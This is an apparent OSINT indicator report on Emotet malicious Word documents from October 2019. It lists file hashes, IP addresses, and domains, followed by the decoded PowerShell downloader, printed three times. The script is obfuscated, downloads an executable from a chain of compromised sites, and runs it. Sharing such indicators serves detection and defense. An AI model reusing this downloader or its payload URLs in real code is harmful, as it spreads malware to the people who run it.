Emotet_Doc_out_2019-10-12_16_59.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
4b08196e0fbb5ea6500ec06d405bd0db
a763b9423ae743d5b6085facbc82e3cf
8284e996aea8e5075256c03a93eaa6df
a951ad8253edcb05a2bd618d6d38d562
2a3993fd3d8f82c99b5fc14002b2e32d
48e33744e6c642436284ebd3dbc46a3d
4cdd71a277eb12d606c872203be7b871
8b660fac79c529a4b62db1c23b46a819
38b7f1c8fe2c89c62606c67fba437fd8
2d2bb0066e53360135c9cf5985000a08
409c40dbc79c9c9da5d1df9149eaa6a1
bf8f0bf857d0e4c6c344face9bd333b6
c41d7850c8e4bf6f19eb9cb63555968c
0bfbe1d3168a8bd383aafc666492c609
ee515c8d7d3188e059ab7e22b3c52115
73c3127d7c4af73231d1302431a80d35
f7806f620bfc6493e8664241617bef43


IPs:
101.227.64.237
103.102.234.131
103.27.200.70
110.10.129.117
112.213.89.96
136.36.8.172
142.4.50.75
162.144.93.20
198.71.59.14
207.148.70.171
35.184.134.213
43.229.153.78
51.91.176.30
66.42.51.112
67.222.136.186


Domains:
aijdjy.com
atomythai.com
citylandgovap.net
deredia.com
fattoriaiponti.com
firstmnd.com
fundeartescolombia.org
lim-lao-sa.com
mangledmonkeymedia.com
nghekhachsan.com
obbydeemusic.com
thesilverant.com
veeplan.com
www.kmacobd.com
xsnonline.us


URLs:
hxxps://www.microsoft.com/ #> $b0905020c90c5=
hxxps://thesilverant.com/test/dvr9/*hxxp://firstmnd.com/wp/wp-content/3k960/*hxxp://citylandgovap.net/8dqs5fv/6J/*hxxp://deredia.com/cgi-bin/cbas/*hxxp://fattoriaiponti.com/wp-admin/o1wiEqPfN/
hxxps://www.microsoft.com/ #> $bb147x080c2=
hxxp://xsnonline.us/blogs/4x466v/*hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/*hxxp://veeplan.com/wp-content/dW0o3RoJNG/*hxxp://www.kmacobd.com/u9r/*hxxp://aijdjy.com/dup-installer/t0/
hxxps://www.microsoft.com/ #> $bb147x080c2=
hxxp://xsnonline.us/blogs/4x466v/*hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/*hxxp://veeplan.com/wp-content/dW0o3RoJNG/*hxxp://www.kmacobd.com/u9r/*hxxp://aijdjy.com/dup-installer/t0/


Decoded Base64 Powershell:
<# hxxps://www.microsoft.com/ #> $b0905020c90c5='b813763439c0c';
$bx247046052 = '877';
$x901x4312353='xbc9122043x';
$b48079070b192=$env:userprofile+'\'+$bx247046052+'.exe';
$x3cb04295768='cx1xxxx6b85';
$c44290202xx04=.('new'+'-objec'+'t') nET.wEbCliENT;
$bc330180c08='hxxps://thesilverant.com/test/dvr9/*hxxp://firstmnd.com/wp/wp-content/3k960/*hxxp://citylandgovap.net/8dqs5fv/6J/*hxxp://deredia.com/cgi-bin/cbas/*hxxp://fattoriaiponti.com/wp-admin/o1wiEqPfN/'."Sp`lit"('*');
$x336c5010b27='b967b1x2012';
foreach($x37500810057c in $bc330180c08){try{$c44290202xx04."dOWnL`Oadf`ILE"($x37500810057c, $b48079070b192);
$b62681xc3cx4='xb005b0506x35';
If ((&('Get'+'-It'+'em') $b48079070b192)."Le`NGth" -ge 27918) {[Diagnostics.Process]::"stA`Rt"($b48079070b192);
$x2b078778400='b10201010060';
break;
$b20820x02c335='x1x11x04c58'}}catch{}}$bc5900b381827='c079809968689'<# hxxps://www.microsoft.com/ #> $bb147x080c2='x2730503cb06';
$b5x0c4c6b3488 = '856';
$cb05c6510c007='c018309x0c2';
$xc0x57b38b2x7=$env:userprofile+'\'+$b5x0c4c6b3488+'.exe';
$x3094x09c0b0='cc082602x31';
$xc2c295x20802=.('n'+'ew-obje'+'ct') NeT.wEBCLiENT;
$b00b1371081='hxxp://xsnonline.us/blogs/4x466v/*hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/*hxxp://veeplan.com/wp-content/dW0o3RoJNG/*hxxp://www.kmacobd.com/u9r/*hxxp://aijdjy.com/dup-installer/t0/'."spL`iT"('*');
$cxc2000153b='c78xb8790006';
foreach($bc16801430cx in $b00b1371081){try{$xc2c295x20802."DowNL`OAdfi`Le"($bc16801430cx, $xc0x57b38b2x7);
$b9366b008x6='c0300c98270';
If ((.('Get-I'+'t'+'em') $xc0x57b38b2x7)."l`engTh" -ge 24516) {[Diagnostics.Process]::"s`TarT"($xc0x57b38b2x7);
$bxc100525c074='c7604007xx328';
break;
$b2037060949='xx20b93043c0'}}catch{}}$xc56003958xx='c059234006c0'<# hxxps://www.microsoft.com/ #> $bb147x080c2='x2730503cb06';
$b5x0c4c6b3488 = '856';
$cb05c6510c007='c018309x0c2';
$xc0x57b38b2x7=$env:userprofile+'\'+$b5x0c4c6b3488+'.exe';
$x3094x09c0b0='cc082602x31';
$xc2c295x20802=.('n'+'ew-obje'+'ct') NeT.wEBCLiENT;
$b00b1371081='hxxp://xsnonline.us/blogs/4x466v/*hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/*hxxp://veeplan.com/wp-content/dW0o3RoJNG/*hxxp://www.kmacobd.com/u9r/*hxxp://aijdjy.com/dup-installer/t0/'."spL`iT"('*');
$cxc2000153b='c78xb8790006';
foreach($bc16801430cx in $b00b1371081){try{$xc2c295x20802."DowNL`OAdfi`Le"($bc16801430cx, $xc0x57b38b2x7);
$b9366b008x6='c0300c98270';
If ((.('Get-I'+'t'+'em') $xc0x57b38b2x7)."l`engTh" -ge 24516) {[Diagnostics.Process]::"s`TarT"($xc0x57b38b2x7);
$bxc100525c074='c7604007xx328';
break;
$b2037060949='xx20b93043c0'}}catch{}}$xc56003958xx='c059234006c0'